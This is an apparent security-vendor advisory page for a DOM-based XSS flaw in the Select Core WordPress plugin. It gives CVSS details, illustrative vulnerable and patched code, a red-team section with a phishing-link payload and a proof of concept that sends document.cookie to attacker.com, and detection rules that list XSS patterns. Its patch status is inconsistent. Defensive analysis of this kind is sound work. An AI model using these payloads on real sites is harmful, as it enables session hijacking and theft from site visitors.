☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Select-themes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-67539

CVE-2025-67539 Cross-Site Scripting in Select-themes
📅 PUBLISHED: 2025-12-09 14:14 UTC 🔄 UPDATED: 2026-10-08 23:10 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-67539 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Select Core plugin for WordPress, developed by Select-themes. The vulnerability exists in versions prior to 2.6, where user-supplied input is improperly neutralized during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser within the context of the vulnerable WordPress site. This flaw can be exploited without authentication, requiring only that a victim visits a crafted link or page. The CVSS score of 6.5 (Medium) reflects the low complexity and network-based attack vector, though the impact is limited to confidentiality and integrity of user data.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party theme bundles. Organizations using Select Core should verify they are running version 2.6 or later. Since no official patch has been confirmed, users must apply virtual patching or disable the plugin until an update is released.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of a confirmed patch and the widespread use of WordPress plugins elevate the risk for unpatched installations.

Deep Dive & Mechanics

The vulnerability resides in the select-core plugin's JavaScript handling of DOM elements. The plugin fails to sanitize user-controlled input before inserting it into the DOM via methods like innerHTML or document.write. An attacker can craft a URL or input field containing a payload such as:

#<img src=x onerror=alert('XSS')>

When the victim's browser processes the page, the malicious script executes because the input is not properly escaped. The attack is DOM-based, meaning the payload never reaches the server; it is processed entirely client-side, bypassing server-side filters.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.6):

// Example vulnerable function in select-core.js
function displayUserInput(input) {
    var element = document.getElementById('output');
    element.innerHTML = input; // Unsafe: directly sets innerHTML
}

Patched Code (version 2.6+):

// Patched version using textContent or sanitization
function displayUserInput(input) {
    var element = document.getElementById('output');
    element.textContent = input; // Safe: treats input as text
    // Alternatively, use DOMPurify.sanitize(input) if HTML is required
}

The patch replaces innerHTML with textContent or applies proper sanitization using a library like DOMPurify.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress instance with Select Core plugin version < 2.6.
  • A victim user with a modern browser.

Exploit Steps:

  1. Craft a malicious URL:
    http://target-site.com/page/#<img src=x onerror=alert(document.cookie)>
    
  2. Send the link to the victim via phishing email or social engineering.
  3. When the victim clicks the link, the script executes, stealing cookies or performing actions on their behalf.

Proof-of-Concept (PoC):

<!-- Save as poc.html and host on attacker server -->
<a href="http://target-site.com/page/#<img src=x onerror=fetch('http://attacker.com/steal?cookie='+document.cookie)>">Click me</a>

Blue Team (Defensive)

Detection:

  • Monitor web logs for requests containing #<img, #<script, or similar patterns in the URL fragment.
  • Use browser-based CSP headers to block inline scripts.

Mitigation:

  • Disable the Select Core plugin until an official patch is applied.
  • Implement a Web Application Firewall (WAF) rule to block known XSS payloads in URL fragments.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests with URL fragments containing <script, <img onerror, or javascript:.
    • Outbound connections to unknown domains from the victim's browser (e.g., attacker.com/steal).
  • Host IOCs:

    • Unexpected JavaScript execution in the browser console.
    • Modified DOM elements containing injected scripts.
  • File IOCs:

    • Presence of select-core.js with version string less than 2.6.

Detection Engineering

YARA Rule

rule Detect_Select_Core_XSS {
    meta:
        description = "Detects vulnerable Select Core plugin versions (< 2.6)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67539"
    strings:
        $version = "Version: 2." ascii wide nocase
        $vuln_func = "innerHTML" ascii wide nocase
    condition:
        $vuln_func and $version and filesize < 500KB
}

Sigma Rule

title: DOM-Based XSS via Select Core Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential DOM-based XSS attacks targeting Select Core plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '#<img'
            - '#<script'
            - '#<svg'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments in URLs
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67539 DOM-Based XSS in Select Core"; flow:to_server,established; content:"#<img"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the Select Core plugin if version < 2.6 is in use.
  2. Patch: Upgrade to version 2.6 or later as soon as it becomes available.
  3. Virtual Patching: Deploy WAF rules to block XSS payloads in URL fragments.
  4. CSP Implementation: Add Content-Security-Policy: script-src 'self' to prevent inline script execution.
  5. User Education: Train users to avoid clicking suspicious links, especially those with unusual URL fragments.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Select Core"
http.html:"select-core"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-67539/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.